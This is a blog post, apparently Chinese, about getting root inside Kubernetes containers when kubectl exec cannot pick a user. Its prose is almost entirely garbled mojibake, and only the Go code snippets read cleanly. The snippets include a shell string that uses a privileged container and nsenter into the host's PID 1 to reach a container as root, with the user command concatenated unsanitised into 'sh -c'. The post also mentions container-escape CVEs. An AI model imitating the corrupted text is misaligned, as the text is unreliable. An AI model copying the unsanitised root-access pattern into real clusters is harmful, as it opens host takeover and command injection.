<p>ç®åæä½¿ç¨ ArgoCD å° forklift é¨ç½²å°äºæèªå·±çé群ä¸ï¼çèµ·æ¥è¿æ¯æºç¨³çã以ä¸æ¯ä¹åçä¸äº TODOsï¼</p>
<ul>
<li>é
ç½®æ件é¤äºæ¯ææå½å空é´æå®å¤ï¼è¿éè¦æ¯æç´æ¥æå®éååã</li>
<li>Controller ç HTTP æå¡æ¯å¦éè¦å 个åè¯é´æï¼ç°å¨æ¯é群éçå
¶å® Pod é½è½éè¿ Service 访é®ã</li>
<li>Controller æå¨çèç¹ä¸å
¶å®æ²¡å¿
è¦åé¨ç½²ä¸ä¸ª Daemonset èªå·±è·èªå·±ç©ï¼çº¯å±æµªè´¹ã</li>
<li>ç®åé
ç½®æ件æ¯åæ ConfigMap æè½½è¿æ¥çï¼æ¯å¦èèæè½½æ件å·è¿æ¥ï¼åå°å Prometheus ä¸æ ·ä¿®æ¹æ件å请æ±æå®çæ¥å£å¨æ读å并å·æ°é
ç½®ã</li>
</ul>
<p>ç®åè½æ³å°çå°±æ¯è¿äºï¼å¦æä½ å¨ä½¿ç¨è¿ç¨ä¸åç°äºä»ä¹ bugï¼ä¹æ¬¢è¿æ issue åé¦~ è¿æ¯æå¯¹äº K8s éåé¢ççä¸ä¸ªå¾ä¸æççæ³æ³ï¼æä¹ä¸ç¥éå®æ¯å¦æç¶é¢ï¼ç®åè¿æå¾
ç产ç¯å¢çèéªãè¿è¯·åä½å¤å¤æç¹ã</p>
- ååï¼ä½ è¿ kubectl exec æä¹ä¸è½æå®ç¨æ·åï¼https://github.red/kubectl-exec-as-root/Wed, 09 Nov 2022 02:07:28 +0800https://github.red/kubectl-exec-as-root/<h2 id="åçä»ä¹äºäº">åçä»ä¹äºäºï¼</h2>
<p>æè¿å¨åé群ç¸å
³ç Side Projectï¼ä¸»è¦æ¯ä½¿ç¨ Kubernetes ç Go SDK è¿è¡å¼åãå
¶ä¸æ个åè½éè¦å¨ Pod å¯å¨å®æåå¨ Pod ç容å¨ä¸æ§è¡å½ä»¤ã</p>
<p>ä½å¨ä½¿ç¨ Go SDK æ§è¡å½ä»¤è¿éå°±æä¸ä¸ªåãä½ ä¼åç°å¨<code>k8sClient.CoreV1().Pod(namespace)</code> ä¸å±
ç¶æ²¡æå½¢å¦ <code>Exec()</code> è¿æ ·çæ¹æ³å¯ä»¥ä½¿ç¨ï¼GitHub Copilot ä¹ç´æ¥å¨è¿éå»æäºä¸ç¥éå¦ä½è¡¥å
¨ã
éè¿ç¿»é
<code>kubectl</code> æºç ä¸å
³äº <code>exec</code> åå½ä»¤å®ç°ï¼ææ¾å°äºè¿ä¸ªï¼<a href="https://github.com/kubernetes/kubernetes/blob/master/staging/src/k8s.io/kubectl/pkg/cmd/exec/exec.go#L353-L366">src/k8s.io/kubectl/pkg/cmd/exec/exec.go#L353-L366</a></p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// TODO: consider abstracting into a client invocation or client helper</span>
</span></span><span style="display:flex;"><span>req <span style="color:#ff7b72;font-weight:bold">:=</span> restClient.<span style="color:#d2a8ff;font-weight:bold">Post</span>().
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Resource</span>(<span style="color:#a5d6ff">"pods"</span>).
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Name</span>(pod.Name).
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Namespace</span>(pod.Namespace).
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">SubResource</span>(<span style="color:#a5d6ff">"exec"</span>)
</span></span><span style="display:flex;"><span>req.<span style="color:#d2a8ff;font-weight:bold">VersionedParams</span>(<span style="color:#ff7b72;font-weight:bold">&</span>corev1.PodExecOptions{
</span></span><span style="display:flex;"><span> Container: containerName,
</span></span><span style="display:flex;"><span> Command: p.Command,
</span></span><span style="display:flex;"><span> Stdin: p.Stdin,
</span></span><span style="display:flex;"><span> Stdout: p.Out <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span>,
</span></span><span style="display:flex;"><span> Stderr: p.ErrOut <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span>,
</span></span><span style="display:flex;"><span> TTY: t.Raw,
</span></span><span style="display:flex;"><span>}, scheme.ParameterCodec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">return</span> p.Executor.<span style="color:#d2a8ff;font-weight:bold">Execute</span>(<span style="color:#a5d6ff">"POST"</span>, req.<span style="color:#d2a8ff;font-weight:bold">URL</span>(), p.Config, p.In, p.Out, p.ErrOut, t.Raw, sizeQueue)
</span></span></code></pre></div><p>æ们å¯ä»¥çå°è¿éå
¶å®æ¯ç´æ¥æé HTTP 请æ±å¯¹ç Kubernetes APIServer è¿è¡è¯·æ±ï¼Go SDK é并没æå°è£
ãçè³å¨ä¸æ¹ç注éä¸è¿ççä¸å<strong>ä¸å¹´åçâè´´å¿â TODO</strong>ï¼è¯´è¦èèå°è¿åæ½è±¡æä¸ä¸ª SDK éçæ¹æ³ã转ç¼é´ä¸å¹´è¿å»äºï¼è¿åè¿æ¯æ²¡å¡«ãð
éè¦æ³¨æçæ¯ kubectl çå®ç°æåæ¯ç¨äºå®èªå·±ç <code>Execute</code> æ¹æ³åéäºä¸ª POST 请æ±ï¼ä½è¿éå
¶å®æ¯éè¦æµå¼çå»è¯»åå½ä»¤æ§è¡æè¿åçç»æãæååºè¯¥ä½¿ç¨ <code>Stream()</code>ï¼å¯ä»¥åç
§æçæç»ä»£ç ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>req <span style="color:#ff7b72;font-weight:bold">:=</span> e.k8sClient.<span style="color:#d2a8ff;font-weight:bold">RESTClient</span>().<span style="color:#d2a8ff;font-weight:bold">Post</span>().
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Resource</span>(<span style="color:#a5d6ff">"pods"</span>).
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Name</span>(pod.Name).
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">Namespace</span>(pod.Namespace).
</span></span><span style="display:flex;"><span> <span style="color:#d2a8ff;font-weight:bold">SubResource</span>(<span style="color:#a5d6ff">"exec"</span>)
</span></span><span style="display:flex;"><span>req.<span style="color:#d2a8ff;font-weight:bold">VersionedParams</span>(<span style="color:#ff7b72;font-weight:bold">&</span>coreV1.PodExecOptions{
</span></span><span style="display:flex;"><span> Stdout: <span style="color:#79c0ff">true</span>,
</span></span><span style="display:flex;"><span> Stderr: <span style="color:#79c0ff">true</span>,
</span></span><span style="display:flex;"><span> Container: containerName,
</span></span><span style="display:flex;"><span> Command: command,
</span></span><span style="display:flex;"><span> TTY: <span style="color:#79c0ff">true</span>,
</span></span><span style="display:flex;"><span>}, scheme.ParameterCodec)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Send the request.</span>
</span></span><span style="display:flex;"><span>respBody, err <span style="color:#ff7b72;font-weight:bold">:=</span> e.k8sClient.<span style="color:#d2a8ff;font-weight:bold">RESTClient</span>().<span style="color:#d2a8ff;font-weight:bold">Post</span>().<span style="color:#d2a8ff;font-weight:bold">AbsPath</span>(req.<span style="color:#d2a8ff;font-weight:bold">URL</span>().Path).<span style="color:#d2a8ff;font-weight:bold">Stream</span>(ctx)
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">if</span> err <span style="color:#ff7b72;font-weight:bold">!=</span> <span style="color:#79c0ff">nil</span> {
</span></span><span style="display:flex;"><span> <span style="color:#ff7b72">return</span> <span style="color:#79c0ff">nil</span>, errors.<span style="color:#d2a8ff;font-weight:bold">Wrap</span>(err, <span style="color:#a5d6ff">"post request"</span>)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span><span style="color:#ff7b72">defer</span> <span style="color:#ff7b72">func</span>() { _ = respBody.<span style="color:#d2a8ff;font-weight:bold">Close</span>() }()
</span></span></code></pre></div><p>ç¶åï¼æåéå°é®é¢äº ââ æäºéåå¯å¨ç容å¨å kubectl exec è¿å»çç¨æ·ä¸æ¯ rootï¼åæ¶æä¹æ æ³ä½¿ç¨ <code>su</code> åæ¢ç¨æ·ãæ¿çä½æç¨æ·ç shell æå¾å¤æä½é½åä¸äºï¼è¿è¯¥ååå¢ï¼</p>
<p>æ便å¼å§å¨ç½ä¸æç´¢ <code>kubectl exec as root</code>ï¼å¨çäºä¸å°å®æ¹ç issue 建议å Stackoverflow ä¸çå¥ææ·«å·§åï¼æ梳çè究äºä¸è¿ä¸ªé®é¢çæ¥é¾å»èï¼åä¸æ¤ææ¥è®²è¿°ä¸è¿ä¸ªé¿è¾¾å
å¹´è¿æªå®ç°çéæ±èåçæ
äºã</p>
<h2 id="åè¯è¾¨æ">åè¯è¾¨æ</h2>
<p>åæ¹é¢è¦ï¼å¨åæä¸ä½ å¯è½ä¼éè§ <code>containerd</code>ã<code>runc</code>ã<code>OCI</code>ã<code>CRI</code>ã<code>Docker</code> ççè¿äºåè¯ï¼å¨æ£å¼å¼å§åæ们ä¸å¦¨å
梳çä¸è¿äºåè¯ï¼è³å°å
å¼æ¸
æ¥å®ä»¬ä¹é´çå
³ç³»ã</p>
<p>è¿éå
æ¾ä¸å¼ å¾ï¼åä½å¯ä»¥ç®åçä¸ç¼å继ç»å¾ä¸çã</p>
<p><img src="https://github.red/images/2022/11/container-family.png" alt=""></p>
<h3 id="æ¯é ç©è
ä¹æ å°½èä¹">æ¯é ç©è
ä¹æ å°½èä¹</h3>
<p>è¿è®°å¾æå¼å§æå¨å¤§ä¸ä¸å¦æçæ¶åæ¥è§¦äº Dockerï¼å½æ¶ç»æå°è±¡å¾æ·±çä¸å¥è¯æ¯ï¼âDocker è¿ç©æå°±æ¯æ°ç¶è£
æ§é
ãâ æè°å®¹å¨ï¼åªä¸è¿æ¯å°è£
äº Linux ç³»ç»å
æ ¸æä¾çåè½å»å®ç°èµæºçé离ãæ¬è´¨è¿æ¯ Linux Container ç <code>cgroups</code>ã<code>namespaces</code>ã</p>
<ul>
<li><code>cgroups</code>ï¼ç¨äº CPUãå
åãç£çåç½ç» IO ç©çèµæºçé离</li>
<li><code>namespaces</code>ï¼ç¨äº PIDãIPCãNetwork çç³»ç»èµæºçé离
以ä¸è¿äºé½æ¯ Linux å
æ ¸ä¸æä¾çåè½ï¼æ们å¯ä»¥çä½âæ¯ç¥èµäºçâã
æè¿éæ³å°äºèè½¼ã赤å£èµãéçè¿å¥ï¼âæ¯é ç©è
ä¹æ å°½èä¹ï¼èå¾ä¸åä¹æå
±éãâð</li>
</ul>
<h3 id="runc">runc</h3>
<p>Docker å¼å并使ç¨äºä¸ä¸ªå为 <code>runc</code> çç¨åºï¼ç¨äºè°ç¨è¿äºç¥èµäºçåè½ï¼æ¥å建ä¸ä¸ªä¸ªå®¹å¨ã<code>runc</code> çåè½ååç®åï¼å®æ¬èº«æ¯ä¸ä¸ªå½ä»¤è¡ç¨åºï¼ä¹å°±åªè½ç¨æ¥åå建容å¨ï¼<code>runc create</code>ï¼ãå¼å¯å®¹å¨ï¼<code>runc start</code>ï¼ãååºå®¹å¨ï¼<code>runc list</code>ï¼ãå é¤å®¹å¨ï¼<code>runc delete</code>ï¼è¿äºåºç¡åè½ã
<code>runc</code> èåçåçæ¯ä½¿ç¨ C è¯è¨ç¼åç代ç è°ç¨ç³»ç»ç <code>namespaces</code> å <code>cgroups</code> æ¥å建容å¨ï¼ç¶åå¨ Go å±é¢ä½¿ç¨ CGO è°ç¨ C è¯è¨ï¼å°è£
æäº <a href="https://github.com/opencontainers/runc/tree/main/libcontainer"><code>libcontainer</code></a> è¿ä¹ä¸ä¸ªåºã
<code>runc</code> éµå¾ª OCIï¼Open Container Initiativeï¼è§èä¸ç Runtime-Specãè¿ä¸ª OCI æ¯ Docker å½å¹´çµå¤´å¶å®çï¼å为 Runtime-Spec å Image-Specï¼åå«å¶å®äºè¿è¡æ¶åéåçè§èã
<strong>æä»¬å° <code>runc</code> è¿ç§åªè½å¯å容å¨çåååºå±ç容å¨è¿è¡æ¶å«åä½çº§å®¹å¨è¿è¡æ¶ï¼Low-Level Container Runtimeï¼</strong>ãè¿ä¹ç§°å¼æ¯ä¸ºäºååé¢æå°ç containerd è¿ç§**é«çº§å®¹å¨è¿è¡æ¶ï¼High-Level Container Runtimeï¼**åºåå¼æ¥ã</p>
<h3 id="containerd">containerd</h3>
<p>é£ <code>containerd</code> åæ¯å¥å¢ï¼<code>containerd</code> åºäº <code>runc</code> çå®ç°äºå¯å管ç容å¨çè½åï¼åæ¶èªèº«è¿æ¯æäºå¯¹å®¹å¨éåç管çï¼å°±å¦æ们ç¨ç <code>docker pull</code> <code>docker push</code> æ¨æéåï¼å¯¼åºéåçåè½ãå®è¿éå
³äºéåçåè½ä¹æ¯éµå¾ªçä¸é¢æå°ç OCI Image-Spec çè§èã</p>
<p>èè·æ们æ¥å¸¸æ交éç Dockerï¼åç¡®çè¯´æ¯ Docker Engineï¼å
¶åæ¯å¨ containerd ä¸ç®åå¥äºå±å£³ï¼æ们çæåéåãå¯å容å¨ï¼å
¶å®æåè¿æ¯è½å°äº containerd 身ä¸å»æ§è¡ãå <code>containerd</code> è¿æ ·çé«çº§è¿è¡æ¶è¿æ <code>CRI-O</code>ã</p>
<h3 id="éæ">éæï¼</h3>
<p>好çï¼å¦æå°è¿éä½ è¿æ²¡æçè¯ï¼é£æ们å¯ä»¥æ个é¢å¤è¯æ¥è®²è®²åå¹´ Kubernetes é£æ¡è¢«å½å
å
¬ä¼å·ç¯çæ é¢å
çæ°é»äºï¼
åå¹´ Kubernetes å®æ¹å®£å¸å°å¨æªæ¥åå¸ççæ¬ä¸å¼ç¨ <code>dockershim</code>ï¼ç´æ¥å¨æºç ä¸å æ <code>dockershim</code> çé¨åãå®æ¹ç解éå¯ä»¥ç<a href="https://kubernetes.io/zh-cn/blog/2020/12/02/dockershim-faq/">è¿ç¯æç« </a>ã</p>
<p>è¿äºä¼ å°å½å
å
¬ä¼å·å°±åæï¼âKubernetes 宣å¸ä¸åæ¯æ Docker è¿è¡æ¶â è¿ç§æ é¢å
æç« ãæ们ä¸é¢èå°äº Docker Engine -> containerd -> runc è¿å±å
³ç³»ï¼è <code>dockershim</code> åæ¯ç¨äºå¤ç Kubernetes -> Docker Engine è¿å±å
³ç³»çã</p>
<p>ç±äºå½å¹´ Docker ååºæ¥ä¸å®¶ç¬å¤§ï¼éè®çé¿çè¿ç¨ä¸åäºå¾å¤ä¸æ¯é£ä¹è§èçäºæ
ï¼Kubernetes ä¹åæå¶å®äº<strong>容å¨è¿è¡æ¶æ¥å£ CRIï¼Container Runtime Interfaceï¼</strong> è§èï¼æ³¨æè·ä¸é¢é£ä¸ª OCI æ¯ä¸¤ä¸ªä¸è¥¿ï¼æ¥çº¦æ容å¨è¿è¡æ¶çè¡ä¸ºãä½ Docker è¿ä¸è¥¿æ¯ç«å
åºæ¥å¹¶ä¸éµå® CRIï¼å®åºæ¥æ··çæ¶åè¿æ²¡ä½ CRI çè³ Kubernetes ä»ä¹äºå¢ï¼
åé¢ Kubernetes æ³éµå® CRI è§èæ´åæ¥å
¥åç§è¿è¡æ¶çæ¶åï¼å°±ä¸å¾ä¸ä¸º Docker Engine å½å¹´çæä½æ为âä¹°åâï¼ä¹å°±æ¯åäº <code>dockershim</code> è¿ä¹ä¸ªä¸è¥¿ä½ä¸ºä¸é´å±è®© Docker Engine éµå¾ª CRI è§èè¿è¡æ¥å
¥ã<code>dockershim</code> è¿å¨âå±å±±âè¶æ¥è¶ç¹éï¼åé¢ Kubernetes ç´æ¥å¼æä¸æ³å¹²äºï¼ç´æ¥æ Docker Engine å»æå§ï¼æ们ç´æ¥æ¥æ±éµå® CRI è§èç <code>containerd</code>ï¼</p>
<p>æ´ä¸ªå
³ç³»ä¹å°±ä»ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>Kubernetes -> Docker Engine -> containerd -> runc
</span></span></code></pre></div><p>åæäº</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-txt" data-lang="txt"><span style="display:flex;"><span>Kubernetes -> containerd -> runc
</span></span></code></pre></div><p>ç¡®å®ä¹æ²¡ä»ä¹é®é¢ï¼ä½ Docker Engine ä¸ä¹æ¯ <code>containerd</code> å¥å£³åï¼è¿ä¹å°±æ¯ä¸ºä»ä¹æ们ç°å¨ <code>docker build</code> çéåä»å¯ä»¥å¨ Kubernetes æ£å¸¸ä½¿ç¨çåå ï¼å 为è¿äºé½æ¯éµå® <code>OCI Image-Spec</code> çãå¯ä¸çä¸ååªä¸è¿æ¯ä½ åå°é群èç¹ä¸ï¼ç¨ <code>docker ps</code> çä¸å°å®¹å¨äºï¼èæ¯è¦ç¨ <code>containerd</code> ç CLI å½ä»¤ <code>ctr --namespace k8s.io containers ls</code> å»æ¥ç容å¨ã</p>
<h2 id="é®é¢åºå¨è°èº«ä¸å¢">é®é¢åºå¨è°èº«ä¸å¢ï¼</h2>
<p>çæ¸
äºä¸é¢è¿äºæ¦å¿µåï¼æ们就å¯ä»¥æ¥è°æ¥ç©¶ç«æ¯è°çé®é¢äºãè¿è®°å¾æ们çé®é¢æ¯ä»ä¹åï¼<code>kubectl exec</code> æä¹ä¸æ¯ææå®ç¨æ·ï¼æ¯å¦ rootï¼æ§è¡å½ä»¤ï¼
é¦å
ï¼çæç»çä½å±å®¹å¨è¿è¡æ¶ <code>runc</code> çæºç ï¼<a href="https://github.com/opencontainers/runc/blob/main/exec.go#L48-L51">opencontainers/runc exec.go#L48-L51</a>ï¼å½ä»¤è¡åæ°éå±
ç¶æ¯æ¯ææå® UID å GID çï¼è¯¥åæ°åé¢ä¼è¢«ä¼ å
¥å° <code>libcontainer</code>ï¼å¨ cgroups ä¸ <a href="https://github.com/opencontainers/runc/blob/main/libcontainer/specconv/spec_linux.go#L456-L462">opencontainers/runc libcontainer/specconv/spec_linux.go#L456-L462</a> æåä½¿ç¨ <code>os.Chown</code> èµäºæå®ç¨æ·æä½çæéã</p>
<p>é£åå¾ä¸è¿½å° <code>containerd</code>ï¼æ¾å° <code>containerd</code> ä¸ <code>ctr task exec</code> çæºç é¨åï¼åç°ä½¿ç¨äº OCI è§èä¸å®ä¹çç»æä½ <a href="https://github.com/opencontainers/runtime-spec/blob/main/specs-go/config.go#L43"><code>Process</code></a>ï¼è¯¥ç»æä½å®ä¹äºå¨å®¹å¨ä¸å¯å¨è¿ç¨éè¦çä¿¡æ¯ï¼å
¶ä¸å°±æ <code>User</code> å段ç¨äºæå®ç¨æ·ï¼</p>
<p>飅… æ¢ç¶ OCI è§èéé½æ¯æäºï¼åå¾ä¸è¿½å°±åªæä¸ä¸ªäºï¼Kubernetes å®ä¹ç CRI è§èãå¨ <a href="https://github.com/kubernetes/cri-api/blob/c75ef5b/pkg/apis/runtime/v1/api.proto#L1158-L1177">kubernetes/cri-api</a> ä¸æ们æ¾å°äº CRI è§èç Protobuf å®ä¹æ件ï¼å
¶ä¸ç <code>ExecRequest</code> ç¡®å®ä¸æ¯ææå®ç¨æ·……
åæ¶æè¿åç°æ个èå¥è¯å¾æ PR <a href="https://github.com/kubernetes/kubernetes/pull/59092">#59092</a> 让 CRI è§èæ¯æè¿ä¸ªåè½ï¼ä»ä¹æ¯å¨ Proto æ件éå äºè¿ä¹ä¸ä¸ªå段ãå¨ä¸é¢çè¯è®ºä¸æ们ä¹åç°è¿å±
ç¶æ¯ Kubernetes TOP3 çææåè½ãå¯æè¿ä¸ª PR åé¢ä¸æä¸ç½å°å°±è¢«å
³äºã</p>
<p>å¨ <code>containerd</code> ä¸æä¹çå°äºæ人æåºäºè¿ä¸ªé®é¢ <a href="https://github.com/containerd/containerd/issues/6662">#6662</a>ï¼<code>containerd</code> ç人ä¹è¡¨ç¤ºå¾æ å¥ï¼æ³è®© <code>kubectl exec</code> æ¯ææå®ç¨æ·ï¼é£å°±åªè½è®©ä¸å±æ¹ CRI è§èï¼ç¶åå®ä»¬ä¸å±åéé
ï¼ä½æ¯è¿äºç°å¨ä¸ç´è¢«æç½®çï¼ä¹æ²¡ä¸ªäººæ¥æ¨ã</p>
<p>ä¸ç´…… æç½®äºå
å¹´ã</p>
<h2 id="代ç è¿æ¯å¾åç该å¦ä½è§£å³å¢">代ç è¿æ¯å¾åçï¼è¯¥å¦ä½è§£å³å¢ï¼</h2>
<p>æ¥åæ»æ¯è¦è¿çï¼ä»£ç è¿æ¯å¾åçï¼çç就没æåæ³äºåï¼
å
¶å®ä¸ç¶ï¼å¨ issue <a href="https://github.com/kubernetes/kubernetes/issues/30656">#30656</a> éæ人æåºäºä¸ç§å¾è ¢çåæ³ï¼
å®è£
ä¸ä¸ª <code>kubectl</code> æ件ï¼ä½¿ç¨ <code>kubectl ssh</code> è¿ä¸å¯¹åºçèç¹å®¿ä¸»æºï¼ç¶åæ¾å°å®¹å¨ç´æ¥æ§è¡å½ä»¤ãè¿ççççæ¯å¤ªè ¢äºã</p>
<p>æå¨è¿ä¸ª issue ä¸æ¾å°äºè¿ä¹ä¸ä¸ªé¡¹ç® <a href="https://github.com/ssup2/kpexec">ssup2/kpexec</a>ï¼åé´å
¶ä¸ç¨å°çæ¹æ³ç¸å¯¹ä¼é
ç解å³äºè¿ä¸ªé®é¢ï¼è¿éæ¾ä¸ä¸ kpexec 项ç®çæ¶æå¾ç¨äºæ¹ä¾¿è¯´æï¼</p>
<p><img src="https://github.red/images/2022/11/kpexec_Operation.png" alt=""></p>
<p>æçåæ³å
¶å®æ¯å®æ´ç®åãæ们ä¸é¢æå°äºï¼å®¹å¨ç³»ç»èµæºé离æ¬è´¨ä¸è¿æ¯ä½¿ç¨äºå
æ ¸ä¸ç <code>namespaces</code>ï¼ææçèæåé½æ¯å¨æä½ç³»ç»å±é¢å®æçã èç³»ç»ä¸æ <code>nsenter</code> è¿ä¸ªå½ä»¤ï¼å¯ä»¥å¸®å©æ们è¿å
¥å°å¯¹åºå®¹å¨ç <code>namespace</code> å½å空é´ä¸ï¼å¨è¯¥å½å空é´ä¸æ§è¡å½ä»¤ï¼é»è®¤çç¨æ·æéå°±æ¯ rootï¼
åå¦æ们è¦å¨é¨ç½²äº A èç¹ç Pod çå®¹å¨ B ä¸ä»¥ root æéæ§è¡å½ä»¤ï¼æ¥éª¤å¦ä¸ï¼</p>
<ol>
<li>å¨ A èç¹ä¸å建ä¸ä¸ªç¹æ容å¨ï¼å³è·å¾äºå®¿ä¸»æºèç¹çæä½æéãä½¿ç¨ nsenter è¿å
¥ PID = 1 çå½å空é´æ§è¡å½ä»¤ï¼ä¹å°±ç¸å½äºç´æ¥å¨å®¿ä¸»æºä¸æ§è¡å½ä»¤ã</li>
<li>å¨å®¿ä¸»æºä¸è°ç¨ crictl inspect å½ä»¤æ¥çå®¹å¨ B ç PIDã</li>
<li>å次å¨å®¿ä¸»æºä¸ä½¿ç¨ nsenter è¿å
¥å®¹å¨ B çå½å空é´ï¼ä»¥ root ç¨æ·æ§è¡å½ä»¤ã</li>
</ol>
<p>æçæç»ä»£ç å¦ä¸ï¼</p>
<div class="highlight"><pre tabindex="0" style="color:#e6edf3;background-color:#0d1117;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#8b949e;font-style:italic">// Get the container CRI information by execute the `crictl` command in node, then execute as root with `nsenter`.</span>
</span></span><span style="display:flex;"><span> execCommand <span style="color:#ff7b72;font-weight:bold">:=</span> []<span style="color:#ff7b72">string</span>{
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"sh"</span>, <span style="color:#a5d6ff">"-c"</span>,
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">"nsenter -t 1 -m -u -n -i crictl inspect "</span> <span style="color:#ff7b72;font-weight:bold">+</span> hostContainerName <span style="color:#ff7b72;font-weight:bold">+</span>
</span></span><span style="display:flex;"><span> <span style="color:#a5d6ff">" | jq -r .info.pid | xargs -I {} nsenter -t {} -m -u -n -i sh -c '"</span> <span style="color:#ff7b72;font-weight:bold">+</span> strings.<span style="color:#d2a8ff;font-weight:bold">Join</span>(command, <span style="color:#a5d6ff">" "</span>) <span style="color:#ff7b72;font-weight:bold">+</span> <span style="color:#a5d6ff">"' || true"</span>,
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>满足 CRI è§èçé«çº§è¿è¡æ¶åå¯ä»¥ä½¿ç¨ <code>crictl</code> æ¥è¿è¡æä½ãè¿æ ·æ们就ä¸ç¨åå»å»å»å¤æ Docker EngineãcontainerdãCRI-O ç¶ååå»å»è°åèªç CLI äºãè¿éä½¿ç¨ <code>crictl inspect</code> å 容å¨å称æ¥ç容å¨ä¿¡æ¯ï¼ä½¿ç¨ <code>jq</code> æååºè¿å JSON ä¸è®°å½çå®¹å¨ PIDãæåç¹æ容å¨è¿å
¥è¯¥è¿ç¨ PID æå¨ç namespace æ§è¡å½ä»¤ãæåè¿å 个 <code>|| true</code> æ¥ç¡®ä¿æåæ§è¡çå½ä»¤ä¸å®æ¯æ£å¸¸éåºçã
ï¼ä¸è¦å¨è¿éè·æ ky ä»ä¹å½ä»¤æ³¨å
¥æ¼æ´å¥çï¼<code>command</code> æ¯ä»å¯ä¿¡çæ¥æºä¼ å
¥çï¼åé¢å·²ç»åäºæéæ£æ¥ï¼</p>
<p>è³äºä¸äºç»èï¼æ¯å¦ç¨ NodeSelector å»å°ç¹æ容å¨é¨ç½²å°ä¸æ§è¡å½ä»¤ç¸åç Node ä¸ï¼æä¹è·å <code>pod.Status.ContainerStatuses</code> ä¸ç <code>HostContainerName</code> è¿äºï¼å°±ä¸åèµè¿°äºã大家èªå·±å¨æååå°±é½ç¥éäºã</p>
<h2 id="æå说å å¥">æå说å å¥</h2>
<p>å¯è½æ¬æåé¢çç¯å¹
æç¹é¿äºï¼æåç <code>nsenter</code> åè没æè¿å¤ç墨ãä¸è¿ç¡®å®æ¢³çè¿è¿äºåè¯åï¼æ对äºä»¥ Docker 为起ç¹ç容å¨è¿å¥ä¸è¥¿çç解æ´å éå½»äºäºã
ä»å¤©ä¹æ½æ¶é´çäºäº Kubernetes æ»é²ç¸å
³çèµæï¼æè§å®¹å¨éé¸å runc CVE-2019-5736 è¿ä¸ªæ´ï¼æ¬è´¨ä¸è¿æ¯ç¸å
³çè¿è¡æ¶è½¯ä»¶å¨æä½ä¸å¯ä¿¡ç容å¨ç¯å¢æ¶ï¼è¡ä¸ºä¸è¿äºâä¾µå
¥âæè
âä¾èµâ容å¨å
çä¸å¯ä¿¡ç¯å¢ä»èåºäºé®é¢ãrunc è¿ä¸ªæ¯æèªå·±ä¼ å°äºå±é©ééç容å¨éï¼ä»¥åç CVE-2019-14271 <code>docker cp</code> 容å¨éé¸ï¼æ¯å 为使ç¨äºå®¹å¨å
ç so åºã容å¨å
çè¿ç¨æ¬è´¨ä¸åªæ¯ä¸ä¸ªåéçæ®é Linux è¿ç¨ï¼å
¶å¯¹å®¿ä¸»æºæ¯å®å
¨éæçï¼ææè§è¿ä¹ä½¿å¾å®ä¸å®¿ä¸»æºççéåå¾æ¨¡ç³ï¼æç§å¾å®¹æå°±è½è¢«çªç ´çæè§ã</p>
<p>大æ¦æ¯ä¸å¹´åï¼æ对 Kubernetes è¿æ¯ææä¸ç§è¾ä¸ºåæ¶çæ
绪çï¼å¥ä¹ä¸æçæä¹å¦ç大家å½ä¹åäººç© YAML å·¥ç¨å¸çæ¢ãä»å¹´ä¸æç D^3CTFï¼æç¨ Kubernetes Go SDK åäºä¸ªå¨æå¼å¯é¶æºçç¨åºãå¨é£ä¹åæ对å®çå°è±¡æäºå¾å¤§çæ¹è§ãä¸æ§æ¯ç产级å«ç容å¨è°åº¦ç¨åºï¼ææ³å æä¸ä¸ª Podï¼å®å°±æ¯è½ç»æå æï¼ä¸å Docker ææ¶å <code>--force</code> 强å¶äºä½æ¯ Docker Engine ä¼è¿·ä¹å¡é¡¿ç¶å没å æãKubernetes è½ç»æ带æ¥ä¸ç§å®å¿çæè§ã</p>
<p>æ¨èé
读ï¼</p>
<ul>
<li><a href="https://mp.weixin.qq.com/s/sfOXxBoppV6QZSpblMsMJQ">DockerãContainerdãRunCåå«æ¯ä»ä¹</a>ï¼åè¯è¾¨ææ¯æä¸é¢åçæ´å 详ç»ã</li>
<li><a href="https://fankangbest.github.io/2017/11/24/containerd-containerd-shim%E5%92%8Crunc%E7%9A%84%E4%BE%9D%E5%AD%98%E5%85%B3%E7%B3%BB/">containerd-containerd-shimåruncçä¾åå
³ç³»</a>ï¼ä»æºç å±é¢åæäºä¸è
çä¾åå
³ç³»ï¼å¾æææã</li>
<li><a href="https://github.com/neargle/my-re0-k8s-security">ä»é¶å¼å§çKubernetesæ»é²</a>ï¼é¤äºå®¹å¨ï¼åºäºå®¹å¨ç Serverless æå¡ä¹æ¯æå¾æå
´è¶£çä¸ä¸ªæ¹åï¼æä»è¿éå¦å°å¾å¤æ趣çæ»å»æ¹æ³ã</li>
</ul>
